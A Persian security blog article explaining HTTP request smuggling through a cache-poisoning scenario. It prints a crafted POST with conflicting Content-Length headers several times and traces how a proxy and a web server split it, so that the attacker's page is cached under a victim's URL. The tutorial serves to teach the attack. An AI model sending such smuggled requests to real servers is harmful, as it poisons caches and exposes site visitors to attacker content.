سناریو حمله بر اساس Http Request Smuggling
HTTP Request Smuggling یکی از هزاران تکنیک های موجود در حملات سایبری است که ازاختلاف تفسیر request های HTTP (ناسازگار با RFC) بین دو device نهایت استفاده را برده و از آن برای smuggle (قاچاق) کردن یک درخواست به device دوم از طریق device اول بهره میبرد.
HTTP Request Smuggling یکی از هزاران تکنیک های موجود در حملات سایبری است که ازاختلاف تفسیر request های HTTP (ناسازگار با RFC) بین دو device نهایت استفاده را برده و از آن برای smuggle (قاچاق) کردن یک درخواست به device دوم از طریق device اول بهره میبرد.
این تکنیک به اتکر این امکان را میدهد تا یک مجموعه از requestها را (در قالب یک request) به device دوم ارسال کند و این در حالی است که از نظر دیوایس اول، requestهای مختلف و مستقلی بسمت دیوایس دوم ارسال شده است.
این موضوع باعث میشود تا وقوع exploitهایی مانند “partial cache poisoning” ، “bypassing firewall protection” و “XSS” بسیار محتمل تر باشد.
بررسی تمام ابعاد حمله Http Request Smuggling، با توجه به تنوع موارد شامل شده و همچنین جزئیات فنی زیاد در خصوص این حمله، نیازمند زمان و پیش نیازهای زیادی می باشد؛ بنابراین در این مقاله طرح کلی این حمله را در قالب یک سناریو شرح میدهیم:
در سناریو موجود، دستهای از request ها به یک سیستم – شامل یک وب سرور ( www.theways.ir) و یک caching proxy server – ارسال میشوند. هدف از حمله، وادار نمودن proxy به cache کردن محتوای صفحه http://www.theways.ir/~attacker/foo.html در ازای آدرس http://www.theways.ir/~victim.bar.html میباشد.
مکانیزم کلی حمله شامل ارسال یک http post request میباشد که در هدر خود، به بیش از یک پارامتر Content-Length اشاره کرده باشد. (انجام این عمل در RFC غیرمجاز اعلام شده است). هرچند وجود بیش از یک پارامتر Content-Length در RFC غیرمجاز اعلام شده است اما اکثریت قریب به اتفاق وب سرورها و پروکسی سرورها، این موضوع را هریک یه شیوه مخصوص بخود، پشتیبانی میکنند.
حمله از همین اختلاف موجود در نوع پشتیبانی، سواستفاده خواهد کرد.
به عنوان مثال فرض کنید که پروکسی از هدرآخر (Content-Length: 45) و وب سرور از هدر اول (Content-Length: 0) برای هندل کردن request، استفاده کند:
POST http://www.theways.ir/somecgi.cgi HTTP/1.1
Host: www.theways.ir
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Content-Length: 45
GET /~attacker/foo.html HTTP/1.1
Something: GET http://www.theways.ir/~victim/bar.html HTTP/1.1
Host: www.theways.ir
Connection: Keep-Alive
پروکسی سرور، هدر مربوط به اولین درخواست (post) را میبیند و سپس برای فهمیدن طول مورد انتظار برای بخش body، از پارامتر Content-Length (45) دوم در هدر استفاده خواهد کرد. در ادامه body را خوانده و درخواست اول (post) را برای وب سرور – بصورت زیر – ارسال میکند:
POST http://www.theways.ir/somecgi.cgi HTTP/1.1
Host: www.theways.ir
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Content-Length: 45
GET /~attacker/foo.html HTTP/1.1
Something:
وب سرور درخواست اول (post) را دیده، هدر را وارسی ولی بر خلاف پروکسی سرور، از اولین پارامتر Content-Length که معادل ۰ است، استفاده و در نهایت درخواست را بصورت ذیل، تفسیر میکند:
POST http://www.theways.ir/somecgi.cgi HTTP/1.1
Host: www.theways.ir
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Content-Length: 45
از آنجایی که از دید وب سرور، طول مربوط به بخش body معادل ۰ است؛ بنابراین بخش دوم درخواست یعنی:
GET /~attacker/foo.html HTTP/1.1
Something:
را یک درخواست مستقل از درخواست اول تلقی میکند ولی به علت آنکه این درخواست کامل نیست، آن را در حالت انتظار قرار خواهد داد. در همین حال پروکسی سرور اولین response وب سرور را دریافت کرده و بسمت اتکر فوروارد خواهد کرد.
اگر بخش بالا را مجددا مرور کنیم، دیدیم که پروکسی سرور در مقابل request ای که اتکر بصورت زیر برایش ارسال کرده بود:
POST http://www.theways.ir/somecgi.cgi HTTP/1.1
Host: www.theways.ir
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Content-Length: 45
GET /~attacker/foo.html HTTP/1.1
Something: GET http://www.theways.ir/~victim/bar.html HTTP/1.1
Host: www.theways.ir
Connection: Keep-Alive
با توجه به تفسیرش از content-length :45، فقط بخش زیر از آن را به عنوان یک request برای وب سرور ارسال کرد:
POST http://www.theways.ir/somecgi.cgi HTTP/1.1
Host: www.theways.ir
Connection: Keep-Alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Content-Length: 45
GET /~attacker/foo.html HTTP/1.1
Something:
بنابراین طبیعیست که بخش دومی را که نتوانسته در request اول تفسیر کند، به عنوان یک request مستقل ( request دوم) ازسوی اتکر پردازش خواهد کرد. یعنی:
GET http://www.theways.ir/~victim/bar.html HTTP/1.1
Host: www.theways.ir
Connection: Keep-Alive
بنابراین پروکسی با توجه به آنچیزی که وب سرور در ادامه به این request پاسخ خواهد داد،
http://www.theways.ir/~victim/bar.html را cache خواهد کرد. پروکسی این درخواست را به وب سرور ارسال میکند. وب سرور با توجه به درخواست قبلی که در صف انتظار قرار داده بود، درخواست جدید را به انتهای آن اضافه میکند:
GET /~attacker/foo.html HTTP/1.1
Something: GET http://www.theways.ir/~victim/bar.html HTTP/1.1
Host: www.theways.ir
Connection: Keep-Alive
حالا که وب سرور توانسته است درخواست قبلی را کامل نماید، این رشته را به عنوان یک درخواست برای دیدن محتوای صفحه http://www.theways.ir/~attacker/foo.html (از آنجایی که با توجه به RFC، پارامتر something معنای خاصی ندارد، بنابراین از سمت وب سرور، نادیده گرفته خواهد شد) تعبیر کرده و در نتیجه محتوای صفحه
http://www.theways.ir/~attacker/foo.html
را به عنوان پاسخ به پروکسی سرور برخواهد گرداند. همانطور که پیشتر نیز گفته شد، پروکسی محتوای این صفحه را با عنوان آدرس http://www.theways.ir/~victim/bar.html درخود ذخیره خواهد کرد.
همانطور که مشاهده کردید، علیرغم این که اتکر کنترل کاملی بر محتوای cache شده و همچنین کنترل مستقیمی بر http header های برگشتی ندارد، ولی با این وجود با استفاده از اختلاف موجود در تفسیر درخواستهای http در پروکسی و وب سرور، توانست یک حمله partial web cache poisoning را انجام دهد.
مانا باشید
احسان امجدی / کارشناس و مدرس دورههای تحلیل امنیت
“اگر بر این باورید که با نقض قانون کپیرایت، وضعیتی بهتر در انتظارمان خواهد بود، بدون ذکر نامِ نویسنده و منبع، مجاز به انتشار مطالب هستید. “
- Design